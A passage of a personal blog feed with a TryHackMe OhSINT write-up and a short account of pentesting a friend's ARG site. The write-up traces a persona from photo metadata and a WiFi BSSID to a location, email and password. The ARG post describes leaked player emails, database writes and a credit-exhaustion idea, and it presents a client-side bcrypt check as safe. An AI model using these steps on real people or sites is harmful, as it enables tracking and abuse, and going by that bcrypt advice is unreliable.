<pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token constant">SHA256</span> <span class="token keyword">from</span> <span class="token string">"crypto-js/sha256"</span><span class="token punctuation">;</span>

<span class="token keyword">const</span> fingerprintId <span class="token operator">=</span> <span class="token constant">SHA256</span><span class="token punctuation">(</span>rawFingerprint<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>This produces a stable identifier that can be compared without exposing the original values.</p>
<h2 id="backend-usage" tabindex="-1">Backend usage</h2>
<p>The backend logic is intentionally simple.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span>incomingFingerprint <span class="token operator">===</span> storedFingerprint<span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token comment">// returning visitor</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
  <span class="token comment">// new browser</span>
<span class="token punctuation">}</span>
</code></pre>
<p>Fingerprinting is powerful. It can improve security and reduce abuse but it can also enable silent tracking.</p>

    ]]></content>
  </entry>
  <entry>
    <title>Thoughts on Employment</title>
    <link href="https://ni5arga.com/blog/posts/employment/"/>
    <updated>2025-10-15T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/employment/</id>
    <content type="html"><![CDATA[
      <p>I wrapped up my first corporate internship recently. I worked as a software engineering intern at a hardware cryptocurrency wallet company.</p>
<p>It was okay. I learned a lot and the people were genuinely nice. But working in a closed, corporate environment felt… weird. Everything is planned, scoped, reviewed, and filtered so much that sometimes the fun just leaks out.</p>
<p>I also learned that I can work really well under pressure, although I do not like working under immense pressure personally.</p>
<p>I realized I really miss libre software. I miss building things in public, pushing code without asking ten people first, and caring more about why something is built than whether it fits a roadmap.</p>
<p>I missed writing code that anyone could read, fork, or improve without asking for permission. I missed the quiet radicalism of libre software - the idea that knowledge should not be locked behind NDAs and closed repos.</p>
<p>This didn’t make me hate jobs or companies. It just made me realize I do not prefer working working away from open source. I like messy projects, open repos, and software that feels a little alive.</p>
<p>Maybe I’ll grow out of this take.<br>
Right now, this is where my head’s at.</p>

    ]]></content>
  </entry>
  <entry>
    <title>TryHackMe OhSINT Writeup</title>
    <link href="https://ni5arga.com/blog/posts/OhSINT/"/>
    <updated>2024-07-04T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/OhSINT/</id>
    <content type="html"><![CDATA[
      <p><strong>What is OSINT?</strong></p>
<blockquote>
<p>OSINT (Open Source Intelligence) involves collecting and analyzing publicly available information from sources like publications, media, websites, social media, and government reports to support decision-making in fields like national security and business intelligence.</p>
</blockquote>
<p>OhSINT TryHackMe Room: <a href="https://tryhackme.com/r/room/ohsint">https://tryhackme.com/r/room/ohsint</a></p>
<p>This room is all about getting information about an user from just an image. This is a pretty simple, easy &amp; straightforward room.</p>
<p>We are given this image:</p>
<p><img src="https://i.imgur.com/YYwcglR.png" alt="target image"></p>
<p>windows XP memories, sigh.</p>
<p><strong>Question 1:</strong>  What is the user's avatar of?<br>
<img src="https://i.imgur.com/Qnn2AAl.png" alt="q1"></p>
<p>To solve this, we need to extract information from the image we were provided.</p>
<p>Images have metadata (text information related to the image) embedded in them. We'll use this metadata to find the info we need. To extract the EXIF/metadata from the image we will use <a href="https://github.com/exiftool/exiftool">exiftool</a>. You can install EXIF tool by simply running:</p>
<pre class="language-shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> exiftool
</code></pre>
<p>The installation command depends on your system, if you're on Arch Linux you'll have to run this:</p>
<pre class="language-shell"><code class="language-shell"><span class="token function">sudo</span> pacman <span class="token parameter variable">-S</span> perl-image-exiftool
</code></pre>
<blockquote>
<p>Alternative Tools or Services you can use:</p>
<ul>
<li><a href="https://exifdata.com">https://exifdata.com</a></li>
<li><a href="https://www.metadata2go.com">https://www.metadata2go.com</a></li>
<li><a href="https://github.com/d2phap/ExifGlass">https://github.com/d2phap/ExifGlass</a></li>
</ul>
</blockquote>
<p>After you have successfully installed exiftool, run this command to get the required information about the image:</p>
<pre class="language-shell"><code class="language-shell">exiftool image.jpg
</code></pre>
<blockquote>
<p>note: i assumed that you have saved the file with the name &quot;image.jpg&quot;</p>
</blockquote>
<p>This is the output</p>
<pre><code>➜ Downloads exiftool image.jpg  
ExifTool Version Number : 12.76  
File Name : image.jpg  
Directory : .  
File Size : 234 kB  
File Modification Date/Time : 2024:07:04 09:53:31+05:30  
File Access Date/Time : 2024:07:04 09:53:32+05:30  
File Inode Change Date/Time : 2024:07:04 09:53:31+05:30  
File Permissions : -rw-r--r--  
File Type : JPEG  
File Type Extension : jpg  
MIME Type : image/jpeg  
XMP Toolkit : Image::ExifTool 11.27  
GPS Latitude : 54 deg 17' 41.27&quot; N  
GPS Longitude : 2 deg 15' 1.33&quot; W  
Copyright : OWoodflint  
Image Width : 1920  
Image Height : 1080  
Encoding Process : Baseline DCT, Huffman coding  
Bits Per Sample : 8  
Color Components : 3  
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)  
Image Size : 1920x1080  
Megapixels : 2.1  
GPS Latitude Ref : North  
GPS Longitude Ref : West  
GPS Position : 54 deg 17' 41.27&quot; N, 2 deg 15' 1.33&quot; W
</code></pre>
<p>We can see the image belongs to <code>OWoodflint</code> by observing the copyright field.</p>
<p>We'll now use Google to find some info about this person:</p>
<p><img src="https://i.imgur.com/fY7iInz.png" alt="img"></p>
<p>We have found the links to their <a href="https://twitter.com/owoodflint?lang=en">X/twitter</a>,  <a href="https://github.com/OWoodfl1nt">GitHub</a> &amp; <a href="https://oliverwoodflint.wordpress.com/author/owoodflint/">Blog</a>.</p>
<p>It seems like they are using an avatar of a cat on Twitter.</p>
<p><img src="https://i.imgur.com/thvpKsa.png" alt="twitter"></p>
<p>We have the answer to our first question, cat.</p>
<p><strong>Answer 1:</strong> Cat</p>
<p><strong>Question 2:</strong> What city is this person in?</p>
<p>We can see a tweet by the person where they are sharing their WiFi BSSID.</p>
<p><img src="https://i.imgur.com/QH5mOEA.png" alt="bssid"></p>
<p>We'll use a site called <a href="https://wigle.net">https://wigle.net</a> to gather info about the WiFi network.</p>
<p>You'll need to sign up for an account on the website.</p>
<p>Then navigate to View &gt; Search &gt; Advanced Search (<a href="https://wigle.net/search">https://wigle.net/search</a>)</p>
<p><img src="https://i.imgur.com/Hn2tzYw.png" alt=""></p>
<p>Now copy the BSSID you have from the tweet and paste it in the BSSID/MAC field of the search tool and hit the query button.</p>
<p><img src="https://i.imgur.com/5vFAVlH.png" alt=""></p>
<p>We have a matching result. Now click on &quot;map&quot;.</p>
<p>We can see the network is located in London:</p>
<p><img src="https://i.imgur.com/YBCmREy.png" alt=""></p>
<p>We have our second answer, London.</p>
<p><strong>Answer 2:</strong> London</p>
<p><strong>Question 3: What is the SSID of the WAP he connected to?</strong></p>
<p>We found the SSID of the WAP by our wigle search.</p>
<p><img src="https://i.imgur.com/x6QmTrF.png" alt=""><br>
<strong>Answer 3:</strong> UnileverWiFi</p>
<p><strong>Question 4:</strong> What is his personal email address?<br>
Readme of a repository on the user's GitHub profile has his email address:</p>
<p><img src="https://i.imgur.com/0UK5bNi.png" alt=""></p>
<p><strong>Answer 4:</strong> <a href="mailto:OWoodflint@gmail.com">OWoodflint@gmail.com</a></p>
<p><strong>Question 5:</strong> What site did you find his email address on?</p>
<p>We found the user's email on GitHub.</p>
<p><strong>Answer 5:</strong> GitHub</p>
<p><strong>Question 6:</strong> Where has he gone on holiday?</p>
<p>We can check the user's <a href="https://oliverwoodflint.wordpress.com/">wordpress blog</a> and find that the user has went to New York on holiday.<br>
<img src="https://i.imgur.com/qAfGcYk.png" alt=""></p>
<p><strong>Question 7:</strong> What is the person's password?</p>
<p>If we observe the site's source code closely we will be able to find this:</p>
<p><img src="https://i.imgur.com/unFaF8d.png" alt=""></p>
<p><strong>Answer 7:</strong> pennYDr0pper</p>
<p>That's it, the room is complete now.</p>

    ]]></content>
    <category term="cybersecurity"/>
    <category term="osint"/>
  </entry>
  <entry>
    <title>How I hacked an ARG/Cryptic Hunt site</title>
    <link href="https://ni5arga.com/blog/posts/how-i-hacked-an-arg-site/"/>
    <updated>2023-10-03T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/how-i-hacked-an-arg-site/</id>
    <content type="html"><![CDATA[
      <p>A friend of mine was organizing an ARG/Cryptic Hunt competition for his school's techfest/competition. He built the site/platform where the competition was being hosted all by himself. But it was buggy, really buggy and had a lot of vulnerabilities.</p>
<p>Here are the mistakes he did which made his ARG website hackable and vulnerable :</p>
<ol>
<li>Not using an <strong>actual backend &amp; some other stupid mistakes :</strong> Yep, he didn't use an actual backend for the site. When I was asked to pentest the site he created, I opened the network tab of my browser's dev tools and I found out that the site was calling the answers from a JS file. The answers were in total plaintext in the JS file. I could see them clearly. He didn't even hash the answers. I informed him about this &quot;severe&quot; vulnerability through Discord 5 minutes before the competition started.</li>
</ol>
<p><img src="https://i.imgur.com/2umc2lW.png" alt="answers"></p>
<ol start="2">
<li><strong>Poor security :</strong> The way he called data from his firebase DB about the players and stuff revealed the list of players, their e-mails &amp; e-mails of their teammates. Within a minute I had the email address of all the players. I also figured out a way to use an exploit to write to his DB and manipulate the leaderboard of the competition.</li>
</ol>
<p><img src="https://i.imgur.com/M6pn6p2.png" alt="security"></p>
<p><strong>What did the developer do?</strong><br>
The developer of the site tried to do damage-control.<br>
<strong>Fix 1 (gone wrong) :</strong></p>
<p>He used some ciphers to cipher the answers which were visible in the JS file mid-competition. This is when he made his next mistake.<br>
Some guy on Discord leaked the ciphers which were used to cipher the answers making the answers decipherable.</p>
<p><strong>Fix 2</strong></p>
<p>He used <a href="https://www.npmjs.com/package/bcryptjs">bcrypt</a> to hash the answers which was a temporary easy fix.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">const</span> bcrypt <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'bcrypt'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">const</span> storedSalt <span class="token operator">=</span> <span class="token string">"$2a$10$iwkIBgVZDdADUSLFewMBJu"</span><span class="token punctuation">;</span> <span class="token comment">// random value, can be exposed</span>
<span class="token keyword">const</span> storedHash <span class="token operator">=</span> <span class="token string">'$2a$10$iwkIBgVZDdADUSLFewMBJu86oEYjRnnxUR9Nli2pfeQyRaIzr5kMS'</span><span class="token punctuation">;</span> <span class="token comment">// hashing the password with storedSalt,</span>
<span class="token comment">// this can be exposed in your js and it's fine</span>

<span class="token keyword">const</span> userPassword <span class="token operator">=</span> <span class="token function">getPassword</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> generatedHash <span class="token operator">=</span> bcrypt<span class="token punctuation">.</span><span class="token function">hashSync</span><span class="token punctuation">(</span>userPassword<span class="token punctuation">,</span> storedSalt<span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">if</span> <span class="token punctuation">(</span>generatedHash <span class="token operator">===</span> storedHash<span class="token punctuation">)</span> <span class="token punctuation">{</span>
  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Password is correct.'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// will return this since the hashes match, since same salt</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Password is incorrect.'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
<p><strong>What else could've been done with the website/platform?</strong></p>
<p>If someone wanted to totally screw up the platform/site they could just write a script to constantly keep requesting the firestore db until he runs out of credits cause he used that instead of mongo or something local.</p>

    ]]></content>
  </entry>
</feed>
